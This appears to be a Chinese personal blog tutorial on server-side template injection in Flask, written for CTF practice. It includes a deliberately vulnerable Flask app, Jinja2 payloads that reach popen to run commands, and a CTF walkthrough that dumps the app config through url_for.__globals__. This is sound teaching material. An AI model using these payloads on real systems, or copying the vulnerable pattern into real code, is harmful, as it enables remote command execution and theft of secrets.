type
status
date
slug
summary
tags
category
icon
password

0x00 SSTI

1.什么是SSTI注入?
SSTI模板注入(Server-Side Template Injection),通过与服务端模板的 输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。
2.造成的原因与利用条件
网站由数据与模板框架处理输出页面,我们的数据在数据库不会改变,但是画面的模板可以转换多样,不同的模板可以给人不同的视觉感受,但是当模板存在可控的参数变量或模板代码内有模板的调试功能,可能会导致ssti模板注入,争对大多数脚本类型均存在该注入。常见为python的CTF考点较多
3.危害有哪些?
可造成文件读取,命令执行,代码执行等

0x01 案例理解SSTI

敏感函数词组:
flask
render_template_string
Python案例:
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>     #%s获取404_url参数下列字段内容,从而输入可控变量注入
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
可被python脚本执行,存在注入
notion image
通过payload类型,可RCE进行文件的读取与对本机等操作等
os._wrap_close类里有popen。
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()

0x02 CTF案例

notion image
题目页面:
notion image
构造2-2执行,说明存在ssti注入执行
notion image
查看所有的全局变量,参考全局变量
notion image
利用全局变量获取当前应用下面的config值
url_for()函数是用于构建操作指定函数的URL
get_flashed_messages()函数是获取传递过来的数据
获取全局变量
/shrine/{{url_for.__globals__}}
/shrine/{{get_flashed_messages.__globals__}}
利当前的全局变量读取:
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
notion image

补充: pyc的反编译知识点

pyc也是一种脚本封装的形式,类似于
aspx:DLL文件
java:.class/jar/war文件
pyc是一种可反编译的封装,也有反编译难度大的pyd等文件
pyc反编译参考网站:
反编译平台:
SSRF漏洞的多种绕过方式与防御手段Redis 未授权访问漏洞与getshell(附getshell检测工具)
告白
告白
一个普通的干饭人🍚
公告
type
status
date
slug
summary
tags
category
icon
password
🎉告白的个人日常博客🎉
-- 关注微信公众号 ---
Gaobai文库
本站内存在文章缺失,框架组件问题待解决
原博客kxsy.work文章已在慢慢迁移本站
渗透时长两年半的个人练习生
-- 感谢您的支持 ---
👏欢迎阅览👏